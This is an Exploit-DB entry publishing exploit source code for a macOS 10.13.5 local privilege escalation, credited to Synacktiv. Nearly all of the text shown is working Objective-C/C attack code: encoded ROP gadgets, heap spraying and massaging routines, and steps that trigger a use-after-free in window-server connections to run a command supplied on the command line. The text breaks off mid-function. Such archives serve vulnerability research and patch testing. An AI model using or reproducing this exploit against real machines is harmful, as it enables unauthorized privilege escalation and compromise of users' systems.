Exploit-DB #46428
Description: Apple macOS 10.13.5 - Local Privilege Escalation
Type: local
Platform: macos
Date: 2019-02-13
Author: Synacktiv

Exploit:
#import <Cocoa/Cocoa.h>
#import <dlfcn.h>
#import <mach-o/dyld.h>
#import <mach-o/getsect.h>
#import <mach/mach_vm.h>
#import <pthread.h>

#import "offsets.h"

//utils
#define ENFORCE(a, label) \
    do { \
        if (__builtin_expect(!(a), 0)) \
        { \
            timed_log("[!] %s is false (l.%d)\n", #a, __LINE__); \
            goto label; \
        } \
    } while (0)

// from https://stackoverflow.com/questions/4415524/common-array-length-macro-for-c
#define COUNT_OF(x) ((sizeof(x)/sizeof(0[x])) / ((size_t)(!(sizeof(x) % sizeof(0[x])))))

#define BYTE(buff, offset) (*(uint8_t *)&((uint8_t *)buff)[offset])
#define DWORD(buff, offset) (*(uint32_t *)&((uint8_t *)buff)[offset])
#define QWORD(buff, offset) (*(uint64_t *)&((uint8_t *)buff)[offset])

// constants used by the exploit
#define CFSTRING_SPRAY_SIZE (400*1000*1000)
#define CFSTRING_SPRAY_COUNT ((CFSTRING_SPRAY_SIZE)/(3*0x8+sizeof(str_array)))
#define CFSET_SPRAY_SIZE (300*1000*1000)
// pointers (80*8) + internal size (0x40)
#define CFSET_SPRAY_COUNT ((CFSET_SPRAY_SIZE)/(80*8+0x40))
#define VULN_IDX (-0xaaaaab)
// 4GB should be enough and it's the maximum we can spray in one OOL
#define ROP_SPRAY_SIZE (4*0x400ul*0x400ul*0x400ul - 0x1000)
#define SPRAYED_BUFFER_ADDRESS 0x200006000

#define NB_CORE_SWITCH 50
#define NB_HOLES_PER_SWITCH 1000
#define NB_REUSE 200

// private functions (both private and public symbols)
static int (* SLSNewConnection)(int, int *);
static int (* SLPSRegisterForKeyOnConnection)(int, void *, unsigned int, bool);
static mach_port_t (* CGSGetConnectionPortById)(uint32_t);
static int (* SLSReleaseConnection)(int);
static mach_port_t (* SLSServerPort)(void);


// push rbp ; mov rbp, rsp ; mov rax, qword ptr [rdi + 8] ; xor esi, esi ; mov edx, 0x118 ; call qword ptr [rax]
#define SAVE_RBP_SET_RAX_GADGET ((uint8_t[]){0x55, 0x48, 0x89, 0xe5, 0x48, 0x8b, 0x47, 0x08, 0x31, 0xf6, 0xba, 0x18, 0x01, 0x00, 0x00, 0xff, 0x10})

// mov rax, qword ptr [rax + 8] ; mov rsi, qword ptr [rax] ; call qword ptr [rsi]
#define SET_RSI_GADGET ((uint8_t[]){0x48, 0x8b, 0x40, 0x08, 0x48, 0x8b, 0x30, 0xff, 0x16})

// mov rdi, qword ptr [rsi + 0x30] ; mov rax, qword ptr [rsi + 0x38] ; mov rsi, qword ptr [rax] ; call qword ptr [rsi]
#define SET_RDI_GADGET ((uint8_t[]){0x48, 0x8b, 0x7e, 0x30, 0x48, 0x8b, 0x46, 0x38, 0x48, 0x8b, 0x30, 0xff, 0x16})

// mov rax, qword ptr [rsi + 0x10] ; mov rsi, qword ptr [rax + 0x20] ; mov rax, qword ptr [rsi - 8] ; mov rax, qword ptr [rax] ; pop rbp ; jmp rax
#define POP_RBP_JMP_GADGET ((uint8_t[]){0x48, 0x8b, 0x46, 0x10, 0x48, 0x8b, 0x70, 0x20, 0x48, 0x8b, 0x46, 0xf8, 0x48, 0x8b, 0x00, 0x5d, 0xff, 0xe0})

static int resolve_symbols();
static int build_rop_spray(void **rop_spray, char *command_line);
static int massage_heap(int connection_id);
static int register_application(int connection_id);
static int setup_hooks(int connection_id);
static int trigger_the_bug(int connection_id);
static int reuse_allocation(int connection_id);
static int find_dylib_text_section(const char *dylib_name, void **text_address, size_t *text_size);
static void timed_log(char* format, ...);

static mach_msg_return_t _CGSSetConnectionProperty(mach_port_t connection_port, int connection_id, const char *key_value, const void *serialized_value, uint32_t serialized_value_length, bool deallocate);
static mach_msg_return_t _CGSSetAuxConn(uint32_t connection_id, ProcessSerialNumber *process_serial_number);
static mach_msg_return_t _CGSCreateApplication(uint32_t connection_id, ProcessSerialNumber sn, uint32_t session_id, uint32_t session_attributes, uint32_t unknown_2, pid_t pid, char *app_name, char multi_process, uint32_t sent_connection_id);

int main(int argc, char **argv)
{
    int connection_id = -1;
    void *rop_spray = NULL;
    bool free_application = false;

    ENFORCE(argc == 2, fail);
    ENFORCE(strlen(argv[1]) < 0x1000 - 0x600, fail);
    
    timed_log("[+] Resolving symbols...\n");
    ENFORCE(resolve_symbols() == 0, fail);

    timed_log("[+] Building our ROP chain...\n");
    ENFORCE(build_rop_spray(&rop_spray, argv[1]) == 0, fail);

    timed_log("[+] Creating a fresh connection...\n");
    ENFORCE(SLSNewConnection(0, &connection_id) == 0, fail);

    timed_log("[+] Setup 'hooks'...\n");
    ENFORCE(setup_hooks(connection_id) == 0, fail);

    timed_log("[+] Making holes (des p'tits trous, des p'tits trous, toujours des p'tit trous : https://www.youtube.com/watch?v=HsX4M-by5OY)...\n");
    ENFORCE(massage_heap(connection_id) == 0, fail);

    // no timed_log, we want to be fast :)
    ENFORCE(register_application(connection_id) == 0, fail);
    free_application = true;
    timed_log("[+] Application registered...\n");

    timed_log("[+] Triggering the bug\n");
    ENFORCE(trigger_the_bug(connection_id) == 0, fail);

    timed_log("[+] Let's free and reuse the application...\n");
    // this will whack the application
    free_application = false;
    ENFORCE(reuse_allocation(connection_id) == 0, fail);

    timed_log("[+] Trigger the UAF...\n");
    ENFORCE(_CGSSetConnectionProperty(CGSGetConnectionPortById(connection_id), connection_id, "SPRAY", rop_spray, ROP_SPRAY_SIZE, true) == KERN_SUCCESS, fail);
    // the kernel freed the pages for us :)
    rop_spray = NULL;

    // a last synchronised request to make sure our command has been executed...
    ENFORCE(SLPSRegisterForKeyOnConnection(connection_id, &(ProcessSerialNumber){0, 0}, 8, 1) == -50, fail);

    // don't leave any connections behind us...
    ENFORCE(SLSReleaseConnection(connection_id) == 0, fail);
    connection_id = -1;
    timed_log("[+] OK\n");
    return 0;

// fail is the label of choice when coding Apple exploit :) (cf. CVE-2014-1266)
fail:
    if (free_application)
    {
        ProcessSerialNumber psn;
        psn.highLongOfPSN = 0;
        psn.lowLongOfPSN = 0x12340000;
        _CGSCreateApplication(conne